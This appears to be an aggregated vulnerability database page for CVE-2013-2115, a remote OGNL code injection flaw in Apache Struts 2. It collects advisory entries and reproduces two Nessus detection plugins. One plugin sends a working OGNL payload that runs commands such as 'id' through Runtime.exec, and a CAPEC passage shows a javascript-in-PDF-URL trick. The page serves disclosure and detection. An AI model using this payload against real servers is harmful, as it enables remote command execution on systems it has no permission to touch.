Vulnerabilities > CVE-2013-2115 - Code Injection vulnerability in Apache Struts

047910
CVSS 9.3 - CRITICAL
Attack vector
NETWORK
Attack complexity
MEDIUM
Privileges required
NONE
Confidentiality impact
COMPLETE
Integrity impact
COMPLETE
Availability impact
COMPLETE
network
apache
CWE-94
critical
nessus
exploit available
metasploit

Summary

Apache Struts 2 before 2.3.14.2 allows remote attackers to execute arbitrary OGNL code via a crafted request that is not properly handled when using the includeParams attribute in the (1) URL or (2) A tag. NOTE: this issue is due to an incomplete fix for CVE-2013-1966.

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Leverage Executable Code in Non-Executable Files
    An attack of this type exploits a system's trust in configuration and resource files, when the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high. The attack can be directed at a client system, such as causing buffer overrun through loading seemingly benign image files, as in Microsoft Security Bulletin MS04-028 where specially crafted JPEG files could cause a buffer overrun once loaded into the browser. Another example targets clients reading pdf files. In this case the attacker simply appends javascript to the end of a legitimate url for a pdf (http://www.gnucitizen.org/blog/danger-danger-danger/) http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here The client assumes that they are reading a pdf, but the attacker has modified the resource and loaded executable javascript into the client's browser process. The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name "public" grants all users with the public role the ability to use the administration functionality. The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.
  • Manipulating User-Controlled Variables
    This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An attacker can override environment variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the attacker can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

Exploit-Db

descriptionApache Struts - includeParams Remote Code Execution. CVE-2013-1966,CVE-2013-2115. Remote exploits for multiple platform
idEDB-ID:25980
last seen2016-02-03
modified2013-06-05
published2013-06-05
reportermetasploit
sourcehttps://www.exploit-db.com/download/25980/
titleApache Struts - includeParams Remote Code Execution

Metasploit

descriptionThis module exploits a remote command execution vulnerability in Apache Struts versions < 2.3.14.2. A specifically crafted request parameter can be used to inject arbitrary OGNL code into the stack bypassing Struts and OGNL library protections. When targeting an action which requires interaction through GET, the payload should be split, taking into account the URI limits. In this case, if the rendered JSP has more than one point of injection, it could result in payload corruption. This should happen only when the payload is larger than the URI length.
idMSF:EXPLOIT/MULTI/HTTP/STRUTS_INCLUDE_PARAMS
last seen2020-06-04
modified2017-07-24
published2013-05-30
references
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/http/struts_include_params.rb
titleApache Struts includeParams Remote Code Execution

Nessus

  • NASL familyMisc.
    NASL idSTRUTS_2_3_14_2.NASL
    descriptionThe version of Apache Struts running on the remote host is 2.x prior to 2.3.14.2. It, therefore, is affected by multiple vulnerabilities including a remote command execution vulnerability and a cross-site scripting (XSS) vulnerability. Note that Nessus has not tested for these issues but has instead relied only on the application
    last seen2020-06-01
    modified2020-06-02
    plugin id117364
    published2018-09-10
    reporterThis script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/117364
    titleApache Struts 2.x < 2.3.14.2 Multiple Vulnerabilities (S2-014)
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(117364);
      script_version("1.9");
      script_cvs_date("Date: 2019/11/05");
    
      script_cve_id("CVE-2013-1966", "CVE-2013-2115");
      script_bugtraq_id(60166, 60167);
    
      script_name(english:"Apache Struts 2.x < 2.3.14.2 Multiple Vulnerabilities (S2-014)");
      script_summary(english:"Checks the Struts 2 version.");
    
      script_set_attribute(attribute:"synopsis", value:
    "A web application running on the remote host uses a Java framework
    that is affected by multiple vulnerabilities.");
      script_set_attribute(attribute:"description", value:
    "The version of Apache Struts running on the remote host is 2.x
    prior to 2.3.14.2. It, therefore, is affected by multiple
    vulnerabilities including a remote command execution vulnerability
    and a cross-site scripting (XSS) vulnerability.
    
    Note that Nessus has not tested for these issues but has instead
    relied only on the application's self-reported version number.");
      script_set_attribute(attribute:"see_also", value:"https://cwiki.apache.org/confluence/display/WW/S2-014");
      script_set_attribute(attribute:"solution", value:
    "Upgrade to Apache Struts version 2.3.14.2 or later");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
      script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
      script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
      script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
      script_set_attribute(attribute:"cvss_score_source", value:"CVE-2013-2115");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"exploit_framework_core", value:"true");
      script_set_attribute(attribute:"d2_elliot_name", value:"Apache-Struts IncludeParams < 2.3.14.1 RCE Linux");
      script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
      script_set_attribute(attribute:"metasploit_name", value:'Apache Struts includeParams Remote Code Execution');
      script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
      script_set_attribute(attribute:"agent", value:"all");
    
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2013/05/26");
      script_set_attribute(attribute:"patch_publication_date", value:"2013/05/26");
      script_set_attribute(attribute:"plugin_publication_date", value:"2018/09/10");
    
      script_set_attribute(attribute:"potential_vulnerability", value:"true");
      script_set_attribute(attribute:"plugin_type", value:"combined");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:struts");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_family(english:"Misc.");
    
      script_copyright(english:"This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("os_fingerprint.nasl", "struts_detect_win.nbin", "struts_detect_nix.nbin", "struts_config_browser_detect.nbin");
      script_require_keys("Settings/ParanoidReport");
      script_require_ports("installed_sw/Apache Struts", "installed_sw/Struts");
    
      exit(0);
    }
    
    include("vcf.inc");
    
    if (report_paranoia < 2) audit(AUDIT_PARANOID);
    
    
    app_info = vcf::combined_get_app_info(app:"Apache Struts");
    
    vcf::check_granularity(app_info:app_info, sig_segments:3);
    
    constraints = [
      { "min_version" : "2.0.0", "max_version" : "2.3.14.1", "fixed_version" : "2.3.14.2" }
    ];
    
    vcf::check_version_and_report(app_info:app_info, constraints:constraints, severity:SECURITY_HOLE, flags:{xss:TRUE});
    
  • NASL familyCGI abuses
    NASL idSTRUTS_2_3_14_2_COMMAND_EXECUTION.NASL
    descriptionThe remote web application appears to use Struts 2, a web framework that utilizes OGNL (Object-Graph Navigation Language) as an expression language. Due to a flaw in the evaluation of an OGNL expression, a remote, unauthenticated attacker can exploit this issue to execute arbitrary commands on the remote web server by sending a specially crafted HTTP request. Note this issue exists because of an incomplete fix for CVE-2013-1966. Note that this version of Struts 2 is reportedly also affected by multiple cross-site scripting (XSS) vulnerabilities as well as session access and manipulation attacks; however, Nessus has not tested for these issues. Note that this plugin will only report the first vulnerable instance of a Struts 2 application.
    last seen2020-06-01
    modified2020-06-02
    plugin id66935
    published2013-06-19
    reporterThis script is Copyright (C) 2013-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/66935
    titleApache Struts 2 Crafted Parameter Arbitrary OGNL Expression Remote Command Execution
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(66935);
      script_version("1.18");
      script_cvs_date("Date: 2019/11/27");
    
      script_cve_id("CVE-2013-1965", "CVE-2013-1966", "CVE-2013-2115");
      script_bugtraq_id(60082, 60166, 60167);
      script_xref(name:"EDB-ID", value:"25980");
    
      script_name(english:"Apache Struts 2 Crafted Parameter Arbitrary OGNL Expression Remote Command Execution");
      script_summary(english:"Attempts to double evaluate an action.");
    
      script_set_attribute(attribute:"synopsis", value:
    "The remote web server contains a web application that uses a Java
    framework that is affected by a remote command execution
    vulnerability.");
      script_set_attribute(attribute:"description", value:
    "The remote web application appears to use Struts 2, a web framework
    that utilizes OGNL (Object-Graph Navigation Language) as an expression
    language. Due to a flaw in the evaluation of an OGNL expression, a
    remote, unauthenticated attacker can exploit this issue to execute
    arbitrary commands on the remote web server by sending a specially
    crafted HTTP request. 
    
    Note this issue exists because of an incomplete fix for CVE-2013-1966. 
    
    Note that this version of Struts 2 is reportedly also affected by
    multiple cross-site scripting (XSS) vulnerabilities as well as session
    access and manipulation attacks; however, Nessus has not tested for
    these issues. 
    
    Note that this plugin will only report the first vulnerable instance
    of a Struts 2 application.");
      # https://communities.coverity.com/blogs/security/2013/05/29/struts2-remote-code-execution-via-ognl-injection
      script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?51bd9543");
      script_set_attribute(attribute:"see_also", value:"http://struts.apache.org/docs/s2-014.html");
      script_set_attribute(attribute:"solution", value:
    "Upgrade to version 2.3.14.2 or later.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
      script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
      script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H");
      script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
      script_set_attribute(attribute:"cvss_score_source", value:"CVE-2013-1965");
    
      script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"exploit_framework_core", value:"true");
      script_set_attribute(attribute:"d2_elliot_name", value:"Apache-Struts Showcase < 2.3.14.1 RCE Linux");
      script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
      script_set_attribute(attribute:"exploited_by_nessus", value:"true");
      script_set_attribute(attribute:"metasploit_name", value:'Apache Struts includeParams Remote Code Execution');
      script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2013/05/02");
      script_set_attribute(attribute:"patch_publication_date", value:"2013/05/22");
      script_set_attribute(attribute:"plugin_publication_date", value:"2013/06/19");
    
      script_set_attribute(attribute:"plugin_type", value:"remote");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:struts");
      script_end_attributes();
    
      script_category(ACT_ATTACK);
      script_family(english:"CGI abuses");
    
      script_copyright(english:"This script is Copyright (C) 2013-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("http_version.nasl", "webmirror.nasl", "os_fingerprint.nasl");
      script_require_ports("Services/www", 80, 8080);
    
      exit(0);
    }
    
    include("audit.inc");
    include("global_settings.inc");
    include("http.inc");
    include("misc_func.inc");
    
    port = get_http_port(default:8080);
    cgis = get_kb_list('www/' + port + '/cgi');
    
    urls = make_list();
    # To identify actions that we can test the exploit on we will look
    # for files with the .action / .jsp /.do suffix from the KB.
    if (!isnull(cgis))
    {
      foreach cgi (cgis)
      {
        match = pregmatch(pattern:"((^.*)(/.+\.act(ion)?)($|\?|;))", string:cgi);
        if (match)
        {
          urls = make_list(urls, match[0]);
          if (!thorough_tests) break;
        }
        match2 = pregmatch(pattern:"(^.*)(/.+\.jsp)$", string:cgi);
        if (!isnull(match2))
        {
          urls = make_list(urls, match2[0]);
          if (!thorough_tests) break;
        }
        match3 = pregmatch(pattern:"(^.*)(/.+\.do)$", string:cgi);
        if (!isnull(match3))
        {
          urls = make_list(urls, match3[0]);
          if (!thorough_tests) break;
        }
        if (cgi =~ "struts2?(-rest)?-showcase")
        {
          urls = make_list(urls, cgi);
          if (!thorough_tests) break;
        }
      }
    }
    if (thorough_tests)
    {
      cgi2 = get_kb_list('www/' + port + '/content/extensions/act*');
      if (!isnull(cgi2)) urls = make_list(urls, cgi2);
    
      cgi3 = get_kb_list('www/' + port + '/content/extensions/jsp');
      if (!isnull(cgi3)) urls = make_list(urls, cgi3);
    
      cgi4 = get_kb_list('www/' + port + '/content/extensions/do');
      if (!isnull(cgi4)) urls = make_list(urls, cgi4);
    }
    
    # Always check web root
    urls = make_list(urls, "/");
    
    # Struts is slow
    timeout = get_read_timeout() * 2;
    if(timeout < 10)
      timeout = 10;
    http_set_read_timeout(timeout);
    
    urls = list_uniq(urls);
    
    # Determine which command to execute on target host
    os = get_kb_item("Host/OS");
    if (os && report_paranoia < 2)
    {
      if ("Windows" >< os) cmd = 'ipconfig';
      else cmd = 'id';
    
      cmds = make_list(cmd);
    }
    else cmds = make_list('id', 'ipconfig');
    
    vuln = FALSE;
    
    foreach url (urls)
    {
      foreach cmd (cmds)
      {
        vuln_url = url + "/${%23context['xwork.MethodAccessor.denyMethod" +
          "Execution']=!(%23_memberAccess['allowStaticMethodAccess']=true)," +
          "(@java.lang.Runtime@getRuntime()).exec('" +cmd+ "').waitFor()}.action";
    
        res = http_send_recv3(
          method : "GET",
          port   : port,
          item   : vuln_url,
          fetch404     : TRUE,
          exit_on_fail : TRUE
        );
    
        if (
           res[0] =~ "404 Not Found" &&
           res[2] =~ "\<b\>message\</b\> \<u\>(.*)/(0)?\.jsp\</u\>"
        )
        {
          vuln = TRUE;
          break;
        }
      }
      # Stop after first vulnerable Struts app is found
      if (vuln) break;
    }
    
    if (!vuln) exit(0, 'No vulnerable applications were detected on the web server listening on port '+port+'.');
    
    security_report_v4(
      port       : port,
      severity   : SECURITY_HOLE,
      generic    : TRUE,
      request    : make_list(build_url(qs:vuln_url, port:port)),
      output     : chomp(res[2])
    );
    

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/121847/struts_include_params.rb.txt
idPACKETSTORM:121847
last seen2016-12-05
published2013-06-02
reporterDouglas Rodrigues
sourcehttps://packetstormsecurity.com/files/121847/Apache-Struts-includeParams-Remote-Code-Execution.html
titleApache Struts includeParams Remote Code Execution

Saint

bid60167
descriptionApache Struts URL includeParams Attribute OGNL Code Injection
osvdb93645
titlestruts_url_includeparams_attribute_ognl_code_inj
typeremote

Seebug

bulletinFamilyexploit
descriptionBUGTRAQ ID: 60167 CVE(CAN) ID: CVE-2013-2115 Struts2 是第二代基于Model-View-Controller (MVC)模型的java企业级web应用框架。它是WebWork和Struts社区合并后的产物。 Apache Struts 2.0.0-2.3.14.1存在未彻底修复的安全措施绕过漏洞(CVE-2013-1966),攻击者可利用此漏洞以当前用户权限执行任意代码。此漏洞已经在Struts 2.3.14.2中修复。 0 Apache Group Struts2 2.0.0 - 2.3.14.1 厂商补丁: Apache ------ Apache已经为此发布了一个安全公告(S2-014)以及相应补丁: S2-014:A vulnerability introduced by forcing parameter inclusion in the URL and Anchor Tag allows remote command execution, session access and manipulation and XSS attacks 链接:https://cwiki.apache.org/confluence/display/WW/S2-014
idSSV:60812
last seen2017-11-19
modified2013-05-30
published2013-05-30
reporterRoot
titleApache Struts 'includeParams' 不完整修复安全绕过漏洞(CVE-2013-2115)